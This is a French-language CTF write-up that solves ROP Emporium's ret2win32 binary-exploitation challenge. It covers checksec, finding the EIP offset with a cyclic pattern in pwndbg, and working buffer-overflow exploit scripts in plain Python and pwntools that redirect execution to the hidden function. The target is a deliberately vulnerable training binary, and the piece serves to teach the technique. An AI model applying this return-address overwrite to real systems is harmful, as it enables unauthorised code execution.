Le ret2win, c’est le point d’entrée du binary exploitation en CTF. L’idée est simple : un binaire contient une fonction qui n’est jamais appelée normalement — notre job c’est de détourner l’exécution pour l’atteindre, via un buffer overflow.
On va résoudre le challenge ret2win32 de ROP Emporium en partant des outils natifs, sans pwntools pour l’instant.
On peut télécharger le binaire directement depuis le site :
wget https://ropemporium.com/binary/ret2win32.zipunzip ret2win32.zipOn commence toujours par comprendre ce qu’on a.
file ret2win32ret2win32: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e1596c11f85b3ed0881193fe40783e1da685b851, not stripped32 bits, non strippé — les symboles sont présents, c’est parfait pour débuter (les symboles de développement seront visibles par des outils comme gdb).
checksec --file=ret2win32Arch: i386-32-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x8048000)Stripped: NoPas de canary, pas de PIE. NX est actif mais on n’en a pas besoin — on ne va pas injecter de shellcode, juste rediriger vers une fonction existante. Les adresses sont fixes à chaque exécution.
On lance le binaire pour voir son comportement :
./ret2win32ret2win by ROP Emporiumx86
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!What could possibly go wrong?You there, may I have your input please? And don't worry about null bytes, we're using read()!
>Le binaire annonce lui-même qu’il essaie de mettre 56 bytes dans un buffer de 32. On sait déjà qu’on peut le faire overflow.
Dans la suite je vais utiliser pwndbgqui est un outil incroyable servant de superset pour gdb. Il va permettre d’ajouter plusieurs fonctionnalités à gdb , la coloration syntaxique, une vue améliorée de la stack; Bref que de bons suppléments ! Je laisse le lien vers le projet ici.
On ouvre pwndbg et on liste les fonctions :
pwndbg ret2win32
La fonction ret2win est là, à l’adresse 0x0804862c. On désassemble pour confirmer ce qu’elle fait :
pwndbg> disas ret2win
Elle appelle system() avec une chaîne en argument. On vérifie ce que c’est :

Bien. C’est notre cible.
On désassemble pwnme pour comprendre le buffer :
pwndbg> disas pwnme
Le buffer est à [ebp-0x28], soit 40 octets sous EBP. read() accepte jusqu’à 0x38 = 56 bytes. On peut donc écrire bien au-delà du buffer.
On génère un pattern avec cyclic de pwndbg :
pwndbg> cyclic 100aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaapwndbg>pwndbg> run <<< $(echo "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa")Le programme crash. On regarde EIP :

pwndbg> info registers eipeip 0x6161616c 0x6161616cOn calcule l’offset :
cyclic -l 0x6161616cpwndbg> cyclic -l 0x6161616cFinding cyclic pattern of 4 bytes: b'laaa' (hex: 0x6c616161)Found at offset 44L’offset est 44 bytes. C’est cohérent avec la structure de la stack : 40 octets de buffer (0x28) + 4 octets pour l’ancien EBP sauvegardé = 44 avant d’atteindre l’adresse de retour.
On confirme avec un test rapide :
python3 -c "import sys; sys.stdout.buffer.write(b'A'*44 + b'B'*4)" | gdb -q ret2win32 -ex 'run' -ex 'info registers eip' -ex quit
EIP vaut 0x42424242 — nos B. L’offset est bon. On écrase de manière précise l’adresse de la prochaine instruction du programme (stockée dans EIP pour les programmes x86). On peut maintenant remplacer BBBB par la réelle adresse mémoire de notre prochaine instruction : la fonction ret2win.
On a tout ce qu’il faut :
ret2win() : 0x0804862cEn x86, le little-endian signifie que 0x0804862c s’écrit \x2c\x86\x04\x08 dans notre payload. struct.pack s’en charge automatiquement.
import sysimport struct
offset = 44ret2win_addr = 0x0804862c
payload = b'A' * offsetpayload += struct.pack('<I', ret2win_addr)
sys.stdout.buffer.write(payload)On exécute :
python3 exploit.py | ./ret2win32
Le flag s’affiche. Le segfault après, c’est normal — ret2win() se termine et essaie de retourner vers une adresse invalide. Pour nettoyer ça, on peut ajouter l’adresse de exit() après ret2win dans le payload, mais pour un CTF c’est suffisant.
Une fois qu’on comprend la mécanique, pwntools rend l’écriture plus propre :
from pwn import process, ELF, p32
p = process('./ret2win32')elf = ELF('./ret2win32')
offset = 44# Adresse de ret2win() récupérée dynamiquementret2win_addr = elf.symbols['ret2win']
payload = b'A' * offsetpayload += p32(ret2win_addr)
p.sendline(payload)p.interactive()
p32() gère le little-endian, p.interactive() garde stdin ouvert. C’est la même logique, juste moins de boilerplate.
Ce challenge illustre les trois conditions d’un ret2win classique : pas de canary (on peut écraser EIP), pas de PIE (les adresses sont fixes), et une fonction intéressante présente dans le binaire. On a d’abord construit l’exploit avec struct.pack pour comprendre ce qui se passe vraiment, le little-endian, la structure du payload, pourquoi ces 44 bytes. pwntools vient après, pas avant. Une fois que la mécanique est claire, p32() et p.interactive() font gagner du temps, mais ils ne remplacent pas la compréhension. Dès qu’une condition change, canary actif, PIE activé, c’est cette base qui permet de s’adapter.